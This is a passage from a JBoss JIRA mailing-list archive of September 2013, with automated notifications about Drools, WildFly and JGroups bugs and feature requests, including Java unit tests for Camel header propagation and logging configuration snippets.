>         headers.put( DroolsComponent.DROOLS_LOOKUP,"ksession1");
>         
>         // set mock expectations
>         mockResult.expectedMessageCount(1);
>         mockResult.expectedHeaderReceived(headerName,headerValue);
>         
>         ExecutionResults response = (ExecutionResults) template.requestBodyAndHeaders("direct:test-no-session-withHeader",
>                 cmd,headers);
>         assertTrue( "Expected valid ExecutionResults object",
>                     response != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                     response.getFactHandle( "salaboy" ) != null );
>         
>         mockResult.assertIsSatisfied();
>     }
> @Test
>     public void testSessionBatchExecutionCommandWithHeader() throws Exception {
>         
>     	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
>     	
>     	String headerName ="testHeaderName";
>         String headerValue ="testHeaderValue";
>         
>     	Person john = new Person();
>         john.setName("John Smith");
>         List<Command> commands = new ArrayList<Command>();
>         commands.add(CommandFactory.newInsert(john, "john"));
>         BatchExecutionCommand batchExecutionCommand = CommandFactory.newBatchExecution(commands);
>         Map<String,Object> headers= new HashMap<String, Object>();
>         headers.put(headerName,headerValue);
>         
>         // set mock expectations
>         mockResult.expectedMessageCount(1);
>         mockResult.expectedHeaderReceived(headerName,headerValue);
>         
>         //do test
>         template.requestBodyAndHeaders("direct:test-with-session-withHeader",
>                 batchExecutionCommand,headers);
>         
>         ExecutionResults response = mockResult.getReceivedExchanges().get(0).getIn().getBody(ExecutionResults.class);
>         
>         assertTrue( "Expected valid ExecutionResults object",
>                 response != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                 response.getFactHandle( "john" ) != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                 response.getFactHandle( "john" ) instanceof FactHandle);
>         
>         mockResult.assertIsSatisfied();
>     }
> @Override
>     protected RouteBuilder createRouteBuilder() throws Exception {
>         return new RouteBuilder() {
>             public void configure() throws Exception {
>                 from( "direct:test-with-session" ).to( "drools://node/ksession1" );
>                 from( "direct:test-no-session" ).to( "drools://node" );
>                 from( "direct:test-with-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
>                 from( "direct:test-no-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
>             }
>         };
>     }
> {code}
> I am going to create a pull request to fix this issue. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 03:59:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Thu, 19 Sep 2013 03:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-267) DroolsExecuteProducer is
 loosing all Camel Exchange headers
In-Reply-To: <JIRA.12500970.1379547360000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500970.1379547360000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500970.1379547360000.34667.1379577543901@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-267?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-267.
--------------------------------

    Fix Version/s: 6.0.0.Final
       Resolution: Done

    
> DroolsExecuteProducer is loosing all Camel Exchange headers
> -----------------------------------------------------------
>
>                 Key: DROOLS-267
>                 URL: https://issues.jboss.org/browse/DROOLS-267
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3,  6.0.0.CR4
>            Reporter: A Majewski
>            Assignee: Mario Fusco
>             Fix For: 6.0.0.Final
>
>
> When using drools endpoint inside camel project the DroolsExecuteProducer is loosing all the Camel Exchange headers.
> Usually the InOut camel producers should be copy all In Exchange Headers to Out Exchange. Please refer to community discussion: https://community.jboss.org/message/837533#837533
> Additional tests casess in org.drools.camel.component.CamelEndpointTest class showing exact problem.
> {code}
> ...
> @Test
>     public void testNoSessionInsertWithHeaders() throws Exception {
>         
>     	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
>     	
>     	String headerName ="testHeaderName";
>         String headerValue ="testHeaderValue";
>         
>         Person person = new Person();
>         person.setName( "Mauricio" );
>         InsertObjectCommand cmd = (InsertObjectCommand) CommandFactory.newInsert( person,
>                                                                                   "salaboy" );
>         Map<String,Object> headers= new HashMap<String, Object>();
>         headers.put(headerName,headerValue);
>         headers.put( DroolsComponent.DROOLS_LOOKUP,"ksession1");
>         
>         // set mock expectations
>         mockResult.expectedMessageCount(1);
>         mockResult.expectedHeaderReceived(headerName,headerValue);
>         
>         ExecutionResults response = (ExecutionResults) template.requestBodyAndHeaders("direct:test-no-session-withHeader",
>                 cmd,headers);
>         assertTrue( "Expected valid ExecutionResults object",
>                     response != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                     response.getFactHandle( "salaboy" ) != null );
>         
>         mockResult.assertIsSatisfied();
>     }
> @Test
>     public void testSessionBatchExecutionCommandWithHeader() throws Exception {
>         
>     	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
>     	
>     	String headerName ="testHeaderName";
>         String headerValue ="testHeaderValue";
>         
>     	Person john = new Person();
>         john.setName("John Smith");
>         List<Command> commands = new ArrayList<Command>();
>         commands.add(CommandFactory.newInsert(john, "john"));
>         BatchExecutionCommand batchExecutionCommand = CommandFactory.newBatchExecution(commands);
>         Map<String,Object> headers= new HashMap<String, Object>();
>         headers.put(headerName,headerValue);
>         
>         // set mock expectations
>         mockResult.expectedMessageCount(1);
>         mockResult.expectedHeaderReceived(headerName,headerValue);
>         
>         //do test
>         template.requestBodyAndHeaders("direct:test-with-session-withHeader",
>                 batchExecutionCommand,headers);
>         
>         ExecutionResults response = mockResult.getReceivedExchanges().get(0).getIn().getBody(ExecutionResults.class);
>         
>         assertTrue( "Expected valid ExecutionResults object",
>                 response != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                 response.getFactHandle( "john" ) != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                 response.getFactHandle( "john" ) instanceof FactHandle);
>         
>         mockResult.assertIsSatisfied();
>     }
> @Override
>     protected RouteBuilder createRouteBuilder() throws Exception {
>         return new RouteBuilder() {
>             public void configure() throws Exception {
>                 from( "direct:test-with-session" ).to( "drools://node/ksession1" );
>                 from( "direct:test-no-session" ).to( "drools://node" );
>                 from( "direct:test-with-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
>                 from( "direct:test-no-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
>             }
>         };
>     }
> {code}
> I am going to create a pull request to fix this issue. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 04:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.34676.1379577903984@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805706#comment-12805706 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665]

James, can you please finish this by Friday Sep 20th (ER3 freeze) as ER3 is Beta release and should be feature complete. 
Thanks.
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:18:03 2013
From: jira-events at lists.jboss.org (Hardy Ferentschik (JIRA))
Date: Thu, 19 Sep 2013 04:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-409) JPA should allow for a bean
 validator factory per persistence unit or per application deployment
In-Reply-To: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463718.1334159992000.34696.1379578683489@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-409?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Hardy Ferentschik updated WFLY-409:
-----------------------------------

    Description: 
Currently, a new bean validator factory instance is associated with each deployed persistence unit.  This jira calls for adding a new PU property that specifies that a 'per app bean validator factory' should be used for a persistence unit (via a persistence unit property).

This can be controlled by a new persistence unit property (see existing ones [here|https://docs.jboss.org/author/display/AS71/JPA+Reference+Guide#JPAReferenceGuide-Persistenceunitproperties]).

The new property can be something like "org.jboss.as.jpa.shareValidatorFactory" which defaults to false.  

Look at org.jboss.as.jpa.processor.PersistenceUnitDeploymentProcessor.deployPersistenceUnit() to make this change.

  was:
Currently, a new bean validator factory instance is associated with each deployed persistence unit.  This jira calls for adding a new PU property that specifies that a 'per app bean validator factory' should be used for a persistence unit (via a persistence unit property).

This can be controlled by a new persistence unit property (see existing ones [here|https://docs.jboss.org/author/display/AS71/JPA+Reference+Guide#JPAReferenceGuide-Persistenceunitproperties].

The new property can be something like "org.jboss.as.jpa.shareValidatorFactory" which defaults to false.  

Look at org.jboss.as.jpa.processor.PersistenceUnitDeploymentProcessor.deployPersistenceUnit() to make this change.


    
> JPA should allow for a bean validator factory per persistence unit or per application deployment
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-409
>                 URL: https://issues.jboss.org/browse/WFLY-409
>             Project: WildFly
>          Issue Type: Task
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>              Labels: open_to_community
>             Fix For: 8.0.0.Beta1
>
>
> Currently, a new bean validator factory instance is associated with each deployed persistence unit.  This jira calls for adding a new PU property that specifies that a 'per app bean validator factory' should be used for a persistence unit (via a persistence unit property).
> This can be controlled by a new persistence unit property (see existing ones [here|https://docs.jboss.org/author/display/AS71/JPA+Reference+Guide#JPAReferenceGuide-Persistenceunitproperties]).
> The new property can be something like "org.jboss.as.jpa.shareValidatorFactory" which defaults to false.  
> Look at org.jboss.as.jpa.processor.PersistenceUnitDeploymentProcessor.deployPersistenceUnit() to make this change.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:22:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Thu, 19 Sep 2013 04:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.34702.1379578923619@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805711#comment-12805711 ] 

jaikiran pai commented on WFLY-2093:
------------------------------------

Thanks James L.

I think this JIRA can be closed then since the issue isn't present in WildFly. I'll however let James P decide that.

                
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:35:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 19 Sep 2013 04:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-268) Delayed rule schedules are
 computed erroneously
In-Reply-To: <JIRA.12500980.1379579634878@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500980.1379579634878@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500980.1379579634878.34721.1379579703737@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-268:
-------------------------------------

             Summary: Delayed rule schedules are computed erroneously
                 Key: DROOLS-268
                 URL: https://issues.jboss.org/browse/DROOLS-268
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Blocker
             Fix For: 6.0.0.Final


Consider the following case, where all patterns are events

$a : A()
$b : B()
not C( this after[0,N] $a )

When the schedule time is computed, the ACTIVATION timestamp is considered
as the starting timestamp, rather than $a's timestamp.
If $b is insert after $a, the rule's schedule will be N time units after $b.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:40:04 2013
From: jira-events at lists.jboss.org (Dimitris Andreadis (JIRA))
Date: Thu, 19 Sep 2013 04:40:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.34747.1379580004191@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805716#comment-12805716 ] 

Dimitris Andreadis commented on WFLY-1547:
------------------------------------------

BTW, the reaper thread how does it differentiate old tmp content that can be removed from new content that might be created during the startup. Is it checking the date? 
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:42:03 2013
From: jira-events at lists.jboss.org (Bartosz Baranowski (JIRA))
Date: Thu, 19 Sep 2013 04:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-261) Add way to properly parse JNDI
 urls in AS codebase
In-Reply-To: <JIRA.12489917.1366378061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489917.1366378061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489917.1366378061000.34756.1379580123815@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-261?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bartosz Baranowski updated WFLY-261:
------------------------------------

    Summary: Add way to properly parse JNDI urls in AS codebase  (was: Make naming fail in case no context is present)

    
> Add way to properly parse JNDI urls in AS codebase
> --------------------------------------------------
>
>                 Key: WFLY-261
>                 URL: https://issues.jboss.org/browse/WFLY-261
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Bartosz Baranowski
>            Assignee: Bartosz Baranowski
>             Fix For: 8.0.0.Beta1
>
>
> This is a followup of  AS7-2138. Original code, in case no URL context threw NamingException. The  AS7-2138  introduced a fallback to NamingContext in case AS7 does not provide custom hack for url( like EJB ). However the fallback did not fail with NamingException in case it did not locate Context. This essentially made it go knee deep into AS7 service lookups, which hides real cause of failure.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:42:04 2013
From: jira-events at lists.jboss.org (Bartosz Baranowski (JIRA))
Date: Thu, 19 Sep 2013 04:42:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-261) Add way to properly parse JNDI
 urls in AS codebase
In-Reply-To: <JIRA.12489917.1366378061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489917.1366378061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489917.1366378061000.34763.1379580124234@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-261?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805718#comment-12805718 ] 

Bartosz Baranowski commented on WFLY-261:
-----------------------------------------

AS7 hijacks Contxt.lookup, preventing JDK code from URL magic. As one of side effects, javax.naming.Name is not properly formed, since AS7 relies on CompositeName, which does not properly parse all JNDI names.
                
> Add way to properly parse JNDI urls in AS codebase
> --------------------------------------------------
>
>                 Key: WFLY-261
>                 URL: https://issues.jboss.org/browse/WFLY-261
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Bartosz Baranowski
>            Assignee: Bartosz Baranowski
>             Fix For: 8.0.0.Beta1
>
>
> This is a followup of  AS7-2138. Original code, in case no URL context threw NamingException. The  AS7-2138  introduced a fallback to NamingContext in case AS7 does not provide custom hack for url( like EJB ). However the fallback did not fail with NamingException in case it did not locate Context. This essentially made it go knee deep into AS7 service lookups, which hides real cause of failure.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:46:04 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 19 Sep 2013 04:46:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-269) KnowledgeAgent should
 recover from runtime exceptions when updating its KB
In-Reply-To: <JIRA.12500984.1379580332697@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500984.1379580332697@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500984.1379580332697.34774.1379580364268@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-269:
-------------------------------------

             Summary: KnowledgeAgent should recover from runtime exceptions when updating its KB
                 Key: DROOLS-269
                 URL: https://issues.jboss.org/browse/DROOLS-269
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
             Fix For: 5.5.1.Final, 6.0.0.Final


The KA does not capture runtime exceptions when building/upgrading its KB,
possibly disrupting its execution thread

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 04:57:04 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Thu, 19 Sep 2013 04:57:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.34802.1379581024182@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805721#comment-12805721 ] 

jaikiran pai commented on WFLY-1547:
------------------------------------

>> BTW, the reaper thread how does it differentiate old tmp content that can be removed from new content that might be created during the startup. Is it checking the date? 

Each temp subdirectory within the tmp/vfs directory belongs to a specific "provider type". The "provider type" relies on a VFS API to create that temp subdirectory content. Now when the server is restarted, the "provider type" code (from within WildFly, for example) will ask the VFS API to create a temp dir for it. The VFS API then checks if there's already a subdirectory for that "provider type" (left behind possibly from a previous run) and if there's one, it renames it to something else and submits a background task to delete the contents of the renamed dir. It then go ahead and creates a new temp dir for this "provider type" which the "provider type" can use to add new content. That way, the deletion of older content and addition of new content can happen parallely without interfering with one another. 

This code has the details https://github.com/jbossas/jboss-vfs/blob/master/src/main/java/org/jboss/vfs/TempFileProvider.java#L86
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 05:01:04 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 19 Sep 2013 05:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-270) Primitve globals will result
 in a runtime exception
In-Reply-To: <JIRA.12500985.1379581188504@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500985.1379581188504@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500985.1379581188504.34808.1379581264129@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-270:
-------------------------------------

             Summary: Primitve globals will result in a runtime exception
                 Key: DROOLS-270
                 URL: https://issues.jboss.org/browse/DROOLS-270
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Minor
             Fix For: 5.5.1.Final, 6.0.0.Final


package test; 
global int foo;
...

the KnowledgeBuilder will accept primitive typed globals, but they will
later result in a runtime exception when the KB is built.
A compile-time error should be raised instead

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 05:05:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 19 Sep 2013 05:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1701) Use ivy for dependency
	management
In-Reply-To: <JIRA.12500986.1379581441321@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500986.1379581441321@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500986.1379581441321.34837.1379581504371@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1701:
------------------------------

             Summary: Use ivy for dependency management
                 Key: JGRP-1701
                 URL: https://issues.jboss.org/browse/JGRP-1701
             Project: JGroups
          Issue Type: Task
            Reporter: Bela Ban
            Assignee: Bela Ban
             Fix For: 3.4


Switch from ant to ant+ivy for dependency management. Advantages:
* All JARs are removed from {{lib}}
* {{ivy.xml}} defines the dependencies
* Before compilation or unit testing, if {{lib}} doesn't exist or is empty:
** Download ivy into {{lib}}
** Use ivy to download all dependent libs into {{lib}}
* No need to ship {{buil.sh}}, {{build.bat}} anymore


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 05:33:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 19 Sep 2013 05:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2110) HTTPS Listener: Security
 realm needs to be flagged 'required'
In-Reply-To: <JIRA.12500993.1379583117572@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500993.1379583117572@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500993.1379583117572.34946.1379583183497@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2110:
---------------------------------

             Summary: HTTPS Listener: Security realm needs to be flagged 'required'
                 Key: WFLY-2110
                 URL: https://issues.jboss.org/browse/WFLY-2110
             Project: WildFly
          Issue Type: Bug
          Components: Web (Undertow)
            Reporter: Heiko Braun
            Assignee: Stuart Douglas
             Fix For: 8.0.0.CR1


It's required to add an https listeners. Otherwise the add dialogs doesn't work

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 05:35:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 19 Sep 2013 05:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2110) HTTPS Listener: Security
 realm needs to be flagged 'required'
In-Reply-To: <JIRA.12500993.1379583117000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500993.1379583117000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500993.1379583117000.34952.1379583303605@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2110?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2110:
------------------------------

    Description: It's required to add an https listeners. Otherwise the add dialogs doesn't work (See HTTP > Listeners HTTPS > Add)  (was: It's required to add an https listeners. Otherwise the add dialogs doesn't work)

    
> HTTPS Listener: Security realm needs to be flagged 'required'
> -------------------------------------------------------------
>
>                 Key: WFLY-2110
>                 URL: https://issues.jboss.org/browse/WFLY-2110
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>            Reporter: Heiko Braun
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.CR1
>
>
> It's required to add an https listeners. Otherwise the add dialogs doesn't work (See HTTP > Listeners HTTPS > Add)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
